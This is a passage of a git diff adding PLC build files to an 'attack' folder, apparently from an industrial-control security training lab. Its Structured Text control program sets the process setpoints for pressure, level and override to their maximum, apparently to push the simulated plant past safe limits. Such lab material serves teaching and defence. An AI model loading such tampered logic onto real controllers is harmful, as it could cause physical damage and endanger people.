+433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : 